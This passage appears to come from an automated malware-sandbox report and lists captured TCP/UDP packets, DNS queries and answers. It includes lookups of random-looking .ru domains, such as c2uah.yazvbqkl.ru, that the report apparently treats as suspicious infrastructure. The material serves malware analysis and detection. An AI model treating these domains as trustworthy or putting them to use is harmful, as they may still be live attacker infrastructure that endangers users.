Mar 27, 2025 00:47:04.048899889 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.049263954 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.049416065 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.050816059 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.050823927 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.051345110 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.052671909 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.052848101 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.052855968 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.052954912 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.054755926 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.054764986 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.055159092 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.056507111 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.060554028 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.060560942 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.061191082 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.061405897 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.065699100 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.065707922 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.068171024 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.068366051 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.068449974 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.069176912 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.081305981 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.085405111 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.118671894 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.118696928 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.198359013 CET	49755	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.198401928 CET	443	49755	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.198542118 CET	49755	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.198760986 CET	49756	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.198771000 CET	443	49756	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.198890924 CET	49755	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.198905945 CET	443	49755	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.198944092 CET	49756	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.199083090 CET	49756	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.199093103 CET	443	49756	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.416134119 CET	443	49752	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.416210890 CET	443	49752	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.416634083 CET	49752	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.418576956 CET	49752	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.418593884 CET	443	49752	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.822788954 CET	443	49755	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.822864056 CET	49755	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.823837996 CET	49755	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.823858976 CET	443	49755	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.824203968 CET	443	49755	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.824558973 CET	49755	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.845880985 CET	443	49756	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.846101046 CET	49756	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.846587896 CET	49756	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:04.846591949 CET	443	49756	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.846852064 CET	443	49756	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.872271061 CET	443	49755	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:04.893101931 CET	49756	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:12.706899881 CET	49678	443	192.168.2.4	20.189.173.27
Mar 27, 2025 00:47:15.165220976 CET	443	49756	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:15.165307045 CET	443	49756	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:15.167870998 CET	49756	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:18.107764006 CET	443	49750	104.17.25.14	192.168.2.4
Mar 27, 2025 00:47:18.107824087 CET	443	49750	104.17.25.14	192.168.2.4
Mar 27, 2025 00:47:18.107889891 CET	49750	443	192.168.2.4	104.17.25.14
Mar 27, 2025 00:47:18.835311890 CET	49750	443	192.168.2.4	104.17.25.14
Mar 27, 2025 00:47:18.835361958 CET	443	49750	104.17.25.14	192.168.2.4
Mar 27, 2025 00:47:20.421528101 CET	443	49755	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:20.421597958 CET	443	49755	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:20.421674967 CET	49755	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:20.422864914 CET	49755	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:20.422884941 CET	443	49755	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:20.539160967 CET	49756	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:20.539184093 CET	443	49756	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:20.539252043 CET	49756	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:20.539252043 CET	49756	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:20.539259911 CET	443	49756	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:20.539870024 CET	49757	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:20.539908886 CET	443	49757	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:20.540105104 CET	49757	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:20.540374994 CET	49757	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:20.540390015 CET	443	49757	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:21.152887106 CET	443	49757	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:21.153203964 CET	49757	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:21.153235912 CET	443	49757	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:21.153462887 CET	49757	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:21.153470039 CET	443	49757	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:36.761899948 CET	443	49757	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:36.762075901 CET	443	49757	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:36.762137890 CET	49757	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:36.762835979 CET	49757	443	192.168.2.4	103.243.32.90
Mar 27, 2025 00:47:36.762875080 CET	443	49757	103.243.32.90	192.168.2.4
Mar 27, 2025 00:47:48.189403057 CET	49749	443	192.168.2.4	151.101.130.137
Mar 27, 2025 00:47:48.189433098 CET	443	49749	151.101.130.137	192.168.2.4
Mar 27, 2025 00:47:50.253422022 CET	49762	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:47:50.253469944 CET	443	49762	142.250.72.100	192.168.2.4
Mar 27, 2025 00:47:50.253556013 CET	49762	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:47:50.253706932 CET	49762	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:47:50.253730059 CET	443	49762	142.250.72.100	192.168.2.4
Mar 27, 2025 00:47:50.436492920 CET	443	49762	142.250.72.100	192.168.2.4
Mar 27, 2025 00:47:50.437066078 CET	49762	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:47:50.437113047 CET	443	49762	142.250.72.100	192.168.2.4
Mar 27, 2025 00:48:00.432005882 CET	443	49762	142.250.72.100	192.168.2.4
Mar 27, 2025 00:48:00.432073116 CET	443	49762	142.250.72.100	192.168.2.4
Mar 27, 2025 00:48:00.432140112 CET	49762	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:48:00.658374071 CET	49736	80	192.168.2.4	142.250.65.163
Mar 27, 2025 00:48:00.744549036 CET	80	49736	142.250.65.163	192.168.2.4
Mar 27, 2025 00:48:00.744735003 CET	49736	80	192.168.2.4	142.250.65.163
Mar 27, 2025 00:48:00.832384109 CET	49762	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:48:00.832433939 CET	443	49762	142.250.72.100	192.168.2.4
Mar 27, 2025 00:48:02.487838984 CET	49767	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.487857103 CET	443	49767	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.487948895 CET	49767	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.488785982 CET	49767	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.488805056 CET	443	49767	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.572429895 CET	49768	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.572458029 CET	443	49768	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.572532892 CET	49768	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.572726965 CET	49768	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.572741032 CET	443	49768	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.662918091 CET	443	49767	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.663502932 CET	49767	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.663513899 CET	443	49767	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.663717985 CET	49767	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.663722992 CET	443	49767	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.747731924 CET	443	49768	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.747867107 CET	49768	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.749581099 CET	49768	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.749586105 CET	443	49768	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.750047922 CET	443	49768	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.750905991 CET	49768	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.792289019 CET	443	49768	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.863090992 CET	443	49767	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.863477945 CET	49767	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.863491058 CET	443	49767	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.863567114 CET	49767	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.864444017 CET	49769	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.864486933 CET	443	49769	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.864568949 CET	49769	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.864722967 CET	49769	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.864736080 CET	443	49769	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.947618961 CET	443	49768	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.947717905 CET	443	49768	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.947796106 CET	49768	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.948270082 CET	49768	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.948283911 CET	443	49768	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.948914051 CET	49770	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.948945045 CET	443	49770	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:02.949022055 CET	49770	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.949176073 CET	49770	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:02.949187994 CET	443	49770	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.038058996 CET	443	49769	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.038363934 CET	49769	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:03.038377047 CET	443	49769	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.038567066 CET	49769	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:03.038570881 CET	443	49769	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.122860909 CET	443	49770	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.123250961 CET	49770	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:03.123269081 CET	443	49770	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.123456001 CET	49770	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:03.123460054 CET	443	49770	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.240530968 CET	443	49769	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.240605116 CET	443	49769	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.240780115 CET	49769	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:03.241234064 CET	49769	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:03.241254091 CET	443	49769	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.324978113 CET	443	49770	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.325056076 CET	443	49770	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:03.325103998 CET	49770	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:03.325267076 CET	49770	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:48:03.325275898 CET	443	49770	35.190.80.1	192.168.2.4
Mar 27, 2025 00:48:04.830163956 CET	49749	443	192.168.2.4	151.101.130.137
Mar 27, 2025 00:48:04.830293894 CET	443	49749	151.101.130.137	192.168.2.4
Mar 27, 2025 00:48:04.830358982 CET	49749	443	192.168.2.4	151.101.130.137

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2025 00:46:46.884690046 CET	53	53727	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:46.886966944 CET	53	63827	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:47.386081934 CET	53	54826	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:47.730509996 CET	53	64614	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:50.196799040 CET	62427	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:50.196950912 CET	54203	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:50.282594919 CET	53	62427	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:50.282660961 CET	53	54203	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:52.169708014 CET	64080	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:52.169708014 CET	59890	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:52.480993032 CET	53	64080	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:52.481043100 CET	53	59890	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:53.820529938 CET	60179	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:53.820683002 CET	57035	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:53.824731112 CET	55014	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:53.824830055 CET	60404	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:53.905766010 CET	53	60179	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:53.905805111 CET	53	57035	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:53.910187960 CET	53	55014	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:53.910223007 CET	53	60404	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:54.541285992 CET	58547	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:54.541539907 CET	58485	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:54.631514072 CET	53	58547	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:54.631553888 CET	53	58485	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:55.097336054 CET	57894	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:55.097601891 CET	60370	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:55.181880951 CET	53	57894	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:55.181931019 CET	53	60370	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:59.677814960 CET	62370	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:59.678109884 CET	51124	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:46:59.984671116 CET	53	62370	1.1.1.1	192.168.2.4
Mar 27, 2025 00:46:59.984688997 CET	53	51124	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:00.883285999 CET	56857	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:47:00.883285999 CET	54505	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:47:00.966182947 CET	53	56857	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:00.966201067 CET	53	54505	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:01.491660118 CET	51610	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:47:01.492053986 CET	61176	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:47:01.574465036 CET	53	51610	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:01.574801922 CET	53	61176	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:02.485970974 CET	63529	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:47:02.488965988 CET	52941	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:47:02.569957018 CET	53	63529	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:02.573296070 CET	53	52941	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:04.064340115 CET	62684	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:47:04.065237045 CET	49260	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:47:04.160547018 CET	53	49260	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:04.195501089 CET	53	62684	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:04.805234909 CET	53	53831	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:23.953300953 CET	53	51509	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:24.637605906 CET	53	64601	162.159.36.2	192.168.2.4
Mar 27, 2025 00:47:45.904105902 CET	53	60275	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:46.745650053 CET	53	52268	1.1.1.1	192.168.2.4
Mar 27, 2025 00:47:53.261969090 CET	138	138	192.168.2.4	192.168.2.255
Mar 27, 2025 00:48:02.488470078 CET	62179	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:48:02.488619089 CET	59334	53	192.168.2.4	1.1.1.1
Mar 27, 2025 00:48:02.571526051 CET	53	62179	1.1.1.1	192.168.2.4
Mar 27, 2025 00:48:02.571585894 CET	53	59334	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 27, 2025 00:46:50.196799040 CET	192.168.2.4	1.1.1.1	0x9408	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:50.196950912 CET	192.168.2.4	1.1.1.1	0x33d8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 27, 2025 00:46:52.169708014 CET	192.168.2.4	1.1.1.1	0x41b	Standard query (0)	c2uah.yazvbqkl.ru	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:52.169708014 CET	192.168.2.4	1.1.1.1	0xc51c	Standard query (0)	c2uah.yazvbqkl.ru	65	IN (0x0001)	false
Mar 27, 2025 00:46:53.820529938 CET	192.168.2.4	1.1.1.1	0x735c	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:53.820683002 CET	192.168.2.4	1.1.1.1	0x2ec0	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 27, 2025 00:46:53.824731112 CET	192.168.2.4	1.1.1.1	0xd2b	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:53.824830055 CET	192.168.2.4	1.1.1.1	0xa93a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 27, 2025 00:46:54.541285992 CET	192.168.2.4	1.1.1.1	0x4067	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:54.541539907 CET	192.168.2.4	1.1.1.1	0x8baa	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 27, 2025 00:46:55.097336054 CET	192.168.2.4	1.1.1.1	0x6f88	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:55.097601891 CET	192.168.2.4	1.1.1.1	0x8f31	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 27, 2025 00:46:59.677814960 CET	192.168.2.4	1.1.1.1	0x1110	Standard query (0)	2tvg7b.nmpjkg.ru	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:59.678109884 CET	192.168.2.4	1.1.1.1	0x1238	Standard query (0)	2tvg7b.nmpjkg.ru	65	IN (0x0001)	false
Mar 27, 2025 00:47:00.883285999 CET	192.168.2.4	1.1.1.1	0x15da	Standard query (0)	2tvg7b.nmpjkg.ru	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:00.883285999 CET	192.168.2.4	1.1.1.1	0x632f	Standard query (0)	2tvg7b.nmpjkg.ru	65	IN (0x0001)	false
Mar 27, 2025 00:47:01.491660118 CET	192.168.2.4	1.1.1.1	0xf965	Standard query (0)	c2uah.yazvbqkl.ru	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:01.492053986 CET	192.168.2.4	1.1.1.1	0xdaf7	Standard query (0)	c2uah.yazvbqkl.ru	65	IN (0x0001)	false
Mar 27, 2025 00:47:02.485970974 CET	192.168.2.4	1.1.1.1	0xf7f7	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:02.488965988 CET	192.168.2.4	1.1.1.1	0x2993	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 27, 2025 00:47:04.064340115 CET	192.168.2.4	1.1.1.1	0x33e3	Standard query (0)	www.flipkart.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:04.065237045 CET	192.168.2.4	1.1.1.1	0xee65	Standard query (0)	www.flipkart.com	65	IN (0x0001)	false
Mar 27, 2025 00:48:02.488470078 CET	192.168.2.4	1.1.1.1	0x73ab	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:48:02.488619089 CET	192.168.2.4	1.1.1.1	0x4c1f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 27, 2025 00:46:50.282594919 CET	1.1.1.1	192.168.2.4	0x9408	No error (0)	www.google.com		142.250.72.100	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:50.282660961 CET	1.1.1.1	192.168.2.4	0x33d8	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 27, 2025 00:46:52.480993032 CET	1.1.1.1	192.168.2.4	0x41b	No error (0)	c2uah.yazvbqkl.ru		172.64.80.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:52.481043100 CET	1.1.1.1	192.168.2.4	0xc51c	No error (0)	c2uah.yazvbqkl.ru			65	IN (0x0001)	false
Mar 27, 2025 00:46:53.905766010 CET	1.1.1.1	192.168.2.4	0x735c	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:53.905766010 CET	1.1.1.1	192.168.2.4	0x735c	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:53.905766010 CET	1.1.1.1	192.168.2.4	0x735c	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:53.905766010 CET	1.1.1.1	192.168.2.4	0x735c	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:53.910187960 CET	1.1.1.1	192.168.2.4	0xd2b	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:53.910187960 CET	1.1.1.1	192.168.2.4	0xd2b	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:53.910223007 CET	1.1.1.1	192.168.2.4	0xa93a	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 27, 2025 00:46:54.631514072 CET	1.1.1.1	192.168.2.4	0x4067	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:54.631514072 CET	1.1.1.1	192.168.2.4	0x4067	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:54.631514072 CET	1.1.1.1	192.168.2.4	0x4067	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:54.631514072 CET	1.1.1.1	192.168.2.4	0x4067	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:54.631514072 CET	1.1.1.1	192.168.2.4	0x4067	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:54.631553888 CET	1.1.1.1	192.168.2.4	0x8baa	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 27, 2025 00:46:55.181880951 CET	1.1.1.1	192.168.2.4	0x6f88	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:55.181880951 CET	1.1.1.1	192.168.2.4	0x6f88	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:55.181880951 CET	1.1.1.1	192.168.2.4	0x6f88	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:55.181880951 CET	1.1.1.1	192.168.2.4	0x6f88	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:55.181880951 CET	1.1.1.1	192.168.2.4	0x6f88	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:55.181931019 CET	1.1.1.1	192.168.2.4	0x8f31	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 27, 2025 00:46:59.984671116 CET	1.1.1.1	192.168.2.4	0x1110	No error (0)	2tvg7b.nmpjkg.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:59.984671116 CET	1.1.1.1	192.168.2.4	0x1110	No error (0)	2tvg7b.nmpjkg.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:59.984671116 CET	1.1.1.1	192.168.2.4	0x1110	No error (0)	2tvg7b.nmpjkg.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:59.984671116 CET	1.1.1.1	192.168.2.4	0x1110	No error (0)	2tvg7b.nmpjkg.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:59.984671116 CET	1.1.1.1	192.168.2.4	0x1110	No error (0)	2tvg7b.nmpjkg.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:59.984671116 CET	1.1.1.1	192.168.2.4	0x1110	No error (0)	2tvg7b.nmpjkg.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:59.984671116 CET	1.1.1.1	192.168.2.4	0x1110	No error (0)	2tvg7b.nmpjkg.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:46:59.984688997 CET	1.1.1.1	192.168.2.4	0x1238	No error (0)	2tvg7b.nmpjkg.ru			65	IN (0x0001)	false
Mar 27, 2025 00:47:00.966182947 CET	1.1.1.1	192.168.2.4	0x15da	No error (0)	2tvg7b.nmpjkg.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
